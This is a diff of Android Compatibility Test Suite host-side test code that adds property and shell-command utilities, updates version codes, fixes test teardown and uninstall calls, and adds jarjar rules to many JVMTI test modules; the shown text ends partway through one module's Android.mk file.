--- a/common/host-side/util/src/com/android/compatibility/common/util/PropertyUtil.java
+++ b/common/host-side/util/src/com/android/compatibility/common/util/PropertyUtil.java
@@ -45,4 +45,19 @@
         String propString = device.getProperty(FIRST_API_LEVEL);
         return (propString == null) ? device.getApiLevel() : Integer.parseInt(propString);
     }
+
+    /** Returns whether the property exists on this device */
+    public static boolean propertyExists(ITestDevice device, String property)
+            throws DeviceNotAvailableException {
+        return device.getProperty(property) != null;
+    }
+
+    /** Returns whether the property value is equal to a given string */
+    public static boolean propertyEquals(ITestDevice device, String property, String value)
+            throws DeviceNotAvailableException {
+        if (value == null) {
+            return !propertyExists(device, property); // null value implies property does not exist
+        }
+        return value.equals(device.getProperty(property));
+    }
 }
diff --git a/common/host-side/util/src/com/android/compatibility/common/util/ShellCommandUtil.java b/common/host-side/util/src/com/android/compatibility/common/util/ShellCommandUtil.java
new file mode 100644
index 0000000..a62a9f5
--- /dev/null
+++ b/common/host-side/util/src/com/android/compatibility/common/util/ShellCommandUtil.java
@@ -0,0 +1,30 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.common.util;
+
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.device.ITestDevice;
+
+/**
+ * Device-side compatibility utility class for executing ADB shell commands.
+ */
+public class ShellCommandUtil {
+
+    public static void execute(ITestDevice device, String command)
+            throws DeviceNotAvailableException {
+        device.executeShellCommand(command);
+    }
+}
diff --git a/common/host-side/util/src/com/android/compatibility/common/util/VersionCodes.java b/common/host-side/util/src/com/android/compatibility/common/util/VersionCodes.java
index 7611b2f..ab54d85 100644
--- a/common/host-side/util/src/com/android/compatibility/common/util/VersionCodes.java
+++ b/common/host-side/util/src/com/android/compatibility/common/util/VersionCodes.java
@@ -40,5 +40,9 @@
     public static final int LOLLIPOP = 21;
     public static final int LOLLIPOP_MR1 = 22;
     public static final int M = 23;
-    public static final int N = CUR_DEVELOPMENT;
+    public static final int N = 24;
+    public static final int N_MR1 = 25;
+    public static final int O = 26;
+    public static final int O_MR1 = 27;
+    public static final int P = CUR_DEVELOPMENT;
 }
diff --git a/hostsidetests/appsecurity/test-apps/DocumentClient/src/com/android/cts/documentclient/DocumentsClientTest.java b/hostsidetests/appsecurity/test-apps/DocumentClient/src/com/android/cts/documentclient/DocumentsClientTest.java
index 0149a33..e85e167 100644
--- a/hostsidetests/appsecurity/test-apps/DocumentClient/src/com/android/cts/documentclient/DocumentsClientTest.java
+++ b/hostsidetests/appsecurity/test-apps/DocumentClient/src/com/android/cts/documentclient/DocumentsClientTest.java
@@ -85,8 +85,8 @@
         revealRoot(rootsList, rootLabel);
 
         final UiScrollable rootsListObject = new UiScrollable(rootsList);
-        final UiObject rootItem =
-                rootsListObject.getChildByText(new UiSelector(), rootLabel, false);
+        final UiObject rootItem = rootsListObject.getChildByText(
+                new UiSelector().className("android.widget.LinearLayout"), rootLabel, false);
         final UiSelector ejectIcon =
                 new UiSelector().resourceId("com.android.documentsui:id/eject_icon");
         return new UiObject(rootItem.getSelector().childSelector(ejectIcon));
diff --git a/hostsidetests/content/src/android/content/cts/SyncAdapterAccountAccessHostTest.java b/hostsidetests/content/src/android/content/cts/SyncAdapterAccountAccessHostTest.java
index 7207732..f6f9d10 100644
--- a/hostsidetests/content/src/android/content/cts/SyncAdapterAccountAccessHostTest.java
+++ b/hostsidetests/content/src/android/content/cts/SyncAdapterAccountAccessHostTest.java
@@ -70,7 +70,7 @@
     @Override
     protected void tearDown() throws Exception {
         super.tearDown();
-        getDevice().uninstallPackage(STUBS_APK);
+        getDevice().uninstallPackage(STUBS_PKG);
     }
 
     public void testSameCertAuthenticatorCanSeeAccount() throws Exception {
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
index 5d14816..6b7d89b 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
@@ -803,6 +803,9 @@
     }
 
     public void testPasswordSufficientInitially() throws Exception {
+        if (!mHasFeature) {
+            return;
+        }
         executeDeviceTestClass(".PasswordSufficientInitiallyTest");
     }
 
diff --git a/hostsidetests/dumpsys/src/android/dumpsys/cts/StoragedDumpsysTest.java b/hostsidetests/dumpsys/src/android/dumpsys/cts/StoragedDumpsysTest.java
index af6a3c9..c8981c5 100644
--- a/hostsidetests/dumpsys/src/android/dumpsys/cts/StoragedDumpsysTest.java
+++ b/hostsidetests/dumpsys/src/android/dumpsys/cts/StoragedDumpsysTest.java
@@ -36,6 +36,12 @@
     private static final String DEVICE_SIDE_TEST_APK = "CtsStoragedTestApp.apk";
     private static final String DEVICE_SIDE_TEST_PACKAGE = "com.android.server.cts.storaged";
 
+    @Override
+    protected void tearDown() throws Exception {
+        super.tearDown();
+        getDevice().uninstallPackage(DEVICE_SIDE_TEST_PACKAGE);
+    }
+
     /**
      * Tests the output of "dumpsys storaged --force --hours 0.01".
      *
@@ -48,7 +54,7 @@
         }
 
         if (mDevice.getAppPackageInfo(DEVICE_SIDE_TEST_APK) != null) {
-            getDevice().uninstallPackage(DEVICE_SIDE_TEST_APK);
+            getDevice().uninstallPackage(DEVICE_SIDE_TEST_PACKAGE);
         }
 
         CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(mCtsBuild);
@@ -64,8 +70,6 @@
                 "com.android.server.cts.storaged.StoragedTest",
                 "testForegroundIO");
 
-        getDevice().uninstallPackage(DEVICE_SIDE_TEST_APK);
-
         String output = mDevice.executeShellCommand("dumpsys storaged --force --hours 0.01");
         assertNotNull(output);
         assertTrue(output.length() > 0);
diff --git a/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsJobDurationTests.java b/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsJobDurationTests.java
index fb90b2e..b22beb1 100644
--- a/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsJobDurationTests.java
+++ b/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsJobDurationTests.java
@@ -54,12 +54,12 @@
         final JobInfo job = createJobInfo(1);
         for (int i = 0; i < 3; i++) {
             CountDownLatch latch = SimpleJobService.resetCountDownLatch();
-            Log.i(TAG, "Scheduling job.");
+            Log.i(TAG, "Scheduling job");
             js.schedule(job);
-            Log.i(TAG, "Waiting for job to finish.");
-            if (!latch.await(5, TimeUnit.SECONDS)) {
-                Log.e(TAG, "Job didn't finish in 5 seconds");
-                fail("Job didn't finish in 5 seconds");
+            Log.i(TAG, "Waiting for job to finish");
+            if (!latch.await(30, TimeUnit.SECONDS)) {
+                Log.e(TAG, "Job didn't finish in 30 seconds");
+                fail("Job didn't finish in 30 seconds");
             }
         }
     }
diff --git a/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsProcessStateTests.java b/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsProcessStateTests.java
index c40c950..1f7516f 100644
--- a/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsProcessStateTests.java
+++ b/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsProcessStateTests.java
@@ -19,6 +19,7 @@
 import android.app.NotificationManager;
 import android.content.Intent;
 import android.support.test.runner.AndroidJUnit4;
+import android.util.Log;
 
 import org.junit.Test;
 import org.junit.runner.RunWith;
@@ -28,12 +29,13 @@
  */
 @RunWith(AndroidJUnit4.class)
 public class BatteryStatsProcessStateTests extends BatteryStatsDeviceTestBase {
-    private static final String TAG = "BatteryStatsWakeLockTests";
+    private static final String TAG = "BatteryStatsProcessStateTests";
 
     @Test
     public void testForegroundService() throws Exception {
         Intent intent = new Intent();
         intent.setClass(mContext, SimpleForegroundService.class);
+        Log.i(TAG, "Starting foreground service.");
         mContext.startForegroundService(intent);
         Thread.sleep(3000);
     }
diff --git a/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/SimpleForegroundService.java b/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/SimpleForegroundService.java
index ed21615..ce690a6 100644
--- a/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/SimpleForegroundService.java
+++ b/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/SimpleForegroundService.java
@@ -25,9 +25,10 @@
 import android.os.Looper;
 import android.os.Message;
 import android.os.Process;
+import android.util.Log;
 
 public class SimpleForegroundService extends Service {
-
+    private static final String TAG = "SimpleForegroundService";
     private Looper mServiceLooper;
     private ServiceHandler mServiceHandler;
 
@@ -38,6 +39,7 @@
 
         @Override
         public void handleMessage(Message msg) {
+            Log.i(TAG, "Handling message.");
             // Sleep for 2 seconds.
             try {
                 Thread.sleep(2000);
@@ -45,6 +47,7 @@
                 // Restore interrupt status.
                 Thread.currentThread().interrupt();
             }
+            Log.i(TAG, "Stopping service.");
             // Stop the service using the startId, so that we don't stop
             // the service in the middle of handling another job
             stopSelf(msg.arg1);
@@ -72,6 +75,7 @@
                 .setContentTitle("CTS Foreground")
                 .setSmallIcon(android.R.drawable.ic_secure)
                 .build();
+        Log.i(TAG, "Starting Foreground.");
         startForeground(1, notification);
 
         Message msg = mServiceHandler.obtainMessage();
diff --git a/hostsidetests/incident/src/com/android/server/cts/PackageIncidentTest.java b/hostsidetests/incident/src/com/android/server/cts/PackageIncidentTest.java
index 9e93a54..18efcb0 100644
--- a/hostsidetests/incident/src/com/android/server/cts/PackageIncidentTest.java
+++ b/hostsidetests/incident/src/com/android/server/cts/PackageIncidentTest.java
@@ -63,8 +63,6 @@
         final PackageServiceDumpProto dump =
                 getDump(PackageServiceDumpProto.parser(), "dumpsys package --proto");
 
-        assertNotNull(dump.getRequiredVerifierPackage().getName());
-        assertPositive("required_verifier_package uid", dump.getRequiredVerifierPackage().getUid());
         assertNotNull(dump.getVerifierPackage().getName());
         assertPositive("verifier_package uid", dump.getVerifierPackage().getUid());
         assertNotNull(dump.getSharedLibraries(0).getName());
diff --git a/hostsidetests/jvmti/allocation-tracking/Android.mk b/hostsidetests/jvmti/allocation-tracking/Android.mk
index 582927a..634b0f6 100644
--- a/hostsidetests/jvmti/allocation-tracking/Android.mk
+++ b/hostsidetests/jvmti/allocation-tracking/Android.mk
@@ -18,6 +18,7 @@
 
 LOCAL_MODULE := CtsJvmtiTrackingHostTestCases
 LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
 LOCAL_MODULE_TAGS := tests
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
diff --git a/hostsidetests/jvmti/allocation-tracking/jarjar-rules.txt b/hostsidetests/jvmti/allocation-tracking/jarjar-rules.txt
new file mode 100644
index 0000000..072c926
--- /dev/null
+++ b/hostsidetests/jvmti/allocation-tracking/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTestAllocationTracking@1
diff --git a/hostsidetests/jvmti/redefining/Android.mk b/hostsidetests/jvmti/redefining/Android.mk
index 14297b6..327aa69 100644
--- a/hostsidetests/jvmti/redefining/Android.mk
+++ b/hostsidetests/jvmti/redefining/Android.mk
@@ -18,6 +18,7 @@
 
 LOCAL_MODULE := CtsJvmtiRedefineClassesHostTestCases
 LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
 LOCAL_MODULE_TAGS := tests
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
diff --git a/hostsidetests/jvmti/redefining/jarjar-rules.txt b/hostsidetests/jvmti/redefining/jarjar-rules.txt
new file mode 100644
index 0000000..63f7888
--- /dev/null
+++ b/hostsidetests/jvmti/redefining/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTestRedefining@1
diff --git a/hostsidetests/jvmti/run-tests/Android.mk b/hostsidetests/jvmti/run-tests/Android.mk
index d344747..db06595 100644
--- a/hostsidetests/jvmti/run-tests/Android.mk
+++ b/hostsidetests/jvmti/run-tests/Android.mk
@@ -147,9 +147,18 @@
 define GEN_JVMTI_RUN_TEST_GENERATED_FILE
 
 GEN_INPUT := $(wildcard $(LOCAL_PATH)/src/$(1)*/expected.txt)
+ifeq (true,$(ANDROID_COMPILE_WITH_JACK))
+GEN_JACK := $(wildcard $(LOCAL_PATH)/src/$(1)*/expected_jack.diff)
+else
+GEN_JACK :=
+endif
 GEN_OUTPUT := $(GENERATED_SRC_DIR)/results.$(1).expected.txt
-$$(GEN_OUTPUT): $$(GEN_INPUT)
+$$(GEN_OUTPUT): PRIVATE_GEN_JACK := $$(GEN_JACK)
+$$(GEN_OUTPUT): $$(GEN_INPUT) $$(GEN_JACK)
 	cp $$< $$@
+ifneq (,$$(GEN_JACK))
+	patch $$@ < $$(PRIVATE_GEN_JACK)
+endif
 
 GEN_INPUT :=
 GEN_OUTPUT :=
diff --git a/hostsidetests/jvmti/run-tests/test-902/Android.mk b/hostsidetests/jvmti/run-tests/test-902/Android.mk
index 1639584..e47ab62 100644
--- a/hostsidetests/jvmti/run-tests/test-902/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-902/Android.mk
@@ -18,6 +18,7 @@
 
 LOCAL_MODULE := CtsJvmtiRunTest902HostTestCases
 LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
 LOCAL_MODULE_TAGS := tests
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
diff --git a/hostsidetests/jvmti/run-tests/test-902/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-902/jarjar-rules.txt
new file mode 100644
index 0000000..1649520
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-902/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest902@1
diff --git a/hostsidetests/jvmti/run-tests/test-903/Android.mk b/hostsidetests/jvmti/run-tests/test-903/Android.mk
index f81c843..7ba63d8 100644
--- a/hostsidetests/jvmti/run-tests/test-903/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-903/Android.mk
@@ -18,6 +18,7 @@
 
 LOCAL_MODULE := CtsJvmtiRunTest903HostTestCases
 LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
 LOCAL_MODULE_TAGS := tests
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
diff --git a/hostsidetests/jvmti/run-tests/test-903/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-903/jarjar-rules.txt
new file mode 100644
index 0000000..f1a253e
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-903/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest903@1
diff --git a/hostsidetests/jvmti/run-tests/test-904/Android.mk b/hostsidetests/jvmti/run-tests/test-904/Android.mk
index 73e67e8..fa9a94e 100644
--- a/hostsidetests/jvmti/run-tests/test-904/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-904/Android.mk
@@ -18,6 +18,7 @@
 
 LOCAL_MODULE := CtsJvmtiRunTest904HostTestCases
 LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
 LOCAL_MODULE_TAGS := tests
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
diff --git a/hostsidetests/jvmti/run-tests/test-904/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-904/jarjar-rules.txt
new file mode 100644
index 0000000..e2fe6f33
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-904/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest904@1
diff --git a/hostsidetests/jvmti/run-tests/test-905/Android.mk b/hostsidetests/jvmti/run-tests/test-905/Android.mk
index c5bcca1..97678be 100644
--- a/hostsidetests/jvmti/run-tests/test-905/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-905/Android.mk
@@ -18,6 +18,7 @@
 
 LOCAL_MODULE := CtsJvmtiRunTest905HostTestCases
 LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
 LOCAL_MODULE_TAGS := tests
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
diff --git a/hostsidetests/jvmti/run-tests/test-905/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-905/jarjar-rules.txt
new file mode 100644
index 0000000..9b0c5aa
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-905/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest905@1
diff --git a/hostsidetests/jvmti/run-tests/test-906/Android.mk b/hostsidetests/jvmti/run-tests/test-906/Android.mk
index 98005a9..7b6e063 100644
--- a/hostsidetests/jvmti/run-tests/test-906/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-906/Android.mk
@@ -18,6 +18,7 @@
 
 LOCAL_MODULE := CtsJvmtiRunTest906HostTestCases
 LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
 LOCAL_MODULE_TAGS := tests
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
diff --git a/hostsidetests/jvmti/run-tests/test-906/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-906/jarjar-rules.txt
new file mode 100644
index 0000000..9e40985
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-906/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest906@1
diff --git a/hostsidetests/jvmti/run-tests/test-907/Android.mk b/hostsidetests/jvmti/run-tests/test-907/Android.mk
index 553f8a0..a64d940 100644
--- a/hostsidetests/jvmti/run-tests/test-907/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-907/Android.mk
@@ -18,6 +18,7 @@
 
 LOCAL_MODULE := CtsJvmtiRunTest907HostTestCases
 LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
 LOCAL_MODULE_TAGS := tests
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
diff --git a/hostsidetests/jvmti/run-tests/test-907/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-907/jarjar-rules.txt
new file mode 100644
index 0000000..9c6b06f
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-907/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest907@1
diff --git a/hostsidetests/jvmti/run-tests/test-908/Android.mk b/hostsidetests/jvmti/run-tests/test-908/Android.mk
index ebd6ab0..a4a3716 100644
--- a/hostsidetests/jvmti/run-tests/test-908/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-908/Android.mk
@@ -18,6 +18,7 @@
 
 LOCAL_MODULE := CtsJvmtiRunTest908HostTestCases
 LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
 LOCAL_MODULE_TAGS := tests
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
diff --git a/hostsidetests/jvmti/run-tests/test-908/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-908/jarjar-rules.txt
new file mode 100644
index 0000000..7915bff
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-908/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest908@1
diff --git a/hostsidetests/jvmti/run-tests/test-910/Android.mk b/hostsidetests/jvmti/run-tests/test-910/Android.mk
index 5cf1e23..dc913dd 100644
--- a/hostsidetests/jvmti/run-tests/test-910/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-910/Android.mk
@@ -18,6 +18,7 @@
 
 LOCAL_MODULE := CtsJvmtiRunTest910HostTestCases
 LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
 LOCAL_MODULE_TAGS := tests
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
diff --git a/hostsidetests/jvmti/run-tests/test-910/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-910/jarjar-rules.txt
new file mode 100644
index 0000000..2856a08
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-910/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest910@1
diff --git a/hostsidetests/jvmti/run-tests/test-911/Android.mk b/hostsidetests/jvmti/run-tests/test-911/Android.mk
index 009e1db..10d15fd 100644
--- a/hostsidetests/jvmti/run-tests/test-911/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-911/Android.mk
@@ -18,6 +18,7 @@
 
 LOCAL_MODULE := CtsJvmtiRunTest911HostTestCases
 LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
 LOCAL_MODULE_TAGS := tests
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
diff --git a/hostsidetests/jvmti/run-tests/test-911/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-911/jarjar-rules.txt
new file mode 100644
index 0000000..676e1db
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-911/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest911@1
diff --git a/hostsidetests/jvmti/run-tests/test-912/Android.mk b/hostsidetests/jvmti/run-tests/test-912/Android.mk
index 7cdea77..6ec22d7 100644
--- a/hostsidetests/jvmti/run-tests/test-912/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-912/Android.mk
@@ -18,6 +18,7 @@
 
 LOCAL_MODULE := CtsJvmtiRunTest912HostTestCases
 LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
 LOCAL_MODULE_TAGS := tests
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
diff --git a/hostsidetests/jvmti/run-tests/test-912/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-912/jarjar-rules.txt
new file mode 100644
index 0000000..357b05e
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-912/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest912@1
diff --git a/hostsidetests/jvmti/run-tests/test-913/Android.mk b/hostsidetests/jvmti/run-tests/test-913/Android.mk
index aa247f2..d54985d 100644
--- a/hostsidetests/jvmti/run-tests/test-913/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-913/Android.mk
@@ -18,6 +18,7 @@
 
 LOCAL_MODULE := CtsJvmtiRunTest913HostTestCases
 LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
 LOCAL_MODULE_TAGS := tests
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
diff --git a/hostsidetests/jvmti/run-tests/test-913/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-913/jarjar-rules.txt
new file mode 100644
index 0000000..735418d
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-913/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest913@1
diff --git a/hostsidetests/jvmti/run-tests/test-914/Android.mk b/hostsidetests/jvmti/run-tests/test-914/Android.mk
index 004b9d8..51b1022 100644
--- a/hostsidetests/jvmti/run-tests/test-914/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-914/Android.mk
@@ -18,6 +18,7 @@
 
 LOCAL_MODULE := CtsJvmtiRunTest914HostTestCases
 LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
 LOCAL_MODULE_TAGS := tests
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
diff --git a/hostsidetests/jvmti/run-tests/test-914/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-914/jarjar-rules.txt
new file mode 100644
index 0000000..db77ad0
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-914/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest914@1
diff --git a/hostsidetests/jvmti/run-tests/test-915/Android.mk b/hostsidetests/jvmti/run-tests/test-915/Android.mk
index 117a5e7..961c4cc 100644
--- a/hostsidetests/jvmti/run-tests/test-915/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-915/Android.mk
@@ -18,6 +18,7 @@
 
 LOCAL_MODULE := CtsJvmtiRunTest915HostTestCases
 LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
 LOCAL_MODULE_TAGS := tests
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
diff --git a/hostsidetests/jvmti/run-tests/test-915/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-915/jarjar-rules.txt
new file mode 100644
index 0000000..650ee3c
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-915/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest915@1
diff --git a/hostsidetests/jvmti/run-tests/test-917/Android.mk b/hostsidetests/jvmti/run-tests/test-917/Android.mk
index a1330c7..8cf73fc 100644
--- a/hostsidetests/jvmti/run-tests/test-917/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-917/Android.mk
@@ -18,6 +18,7 @@
 
 LOCAL_MODULE := CtsJvmtiRunTest917HostTestCases
 LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
 LOCAL_MODULE_TAGS := tests
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
diff --git a/hostsidetests/jvmti/run-tests/test-917/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-917/jarjar-rules.txt
new file mode 100644
index 0000000..de3b6cc
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-917/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest917@1
diff --git a/hostsidetests/jvmti/run-tests/test-918/Android.mk b/hostsidetests/jvmti/run-tests/test-918/Android.mk
index db5134a..497f86c 100644
--- a/hostsidetests/jvmti/run-tests/test-918/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-918/Android.mk
@@ -18,6 +18,7 @@
 
 LOCAL_MODULE := CtsJvmtiRunTest918HostTestCases
 LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
 LOCAL_MODULE_TAGS := tests
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
diff --git a/hostsidetests/jvmti/run-tests/test-918/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-918/jarjar-rules.txt
new file mode 100644
index 0000000..0635cae
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-918/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest918@1
diff --git a/hostsidetests/jvmti/run-tests/test-919/Android.mk b/hostsidetests/jvmti/run-tests/test-919/Android.mk
index db1ce92..640f3d6 100644
--- a/hostsidetests/jvmti/run-tests/test-919/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-919/Android.mk
@@ -18,6 +18,7 @@
 
 LOCAL_MODULE := CtsJvmtiRunTest919HostTestCases
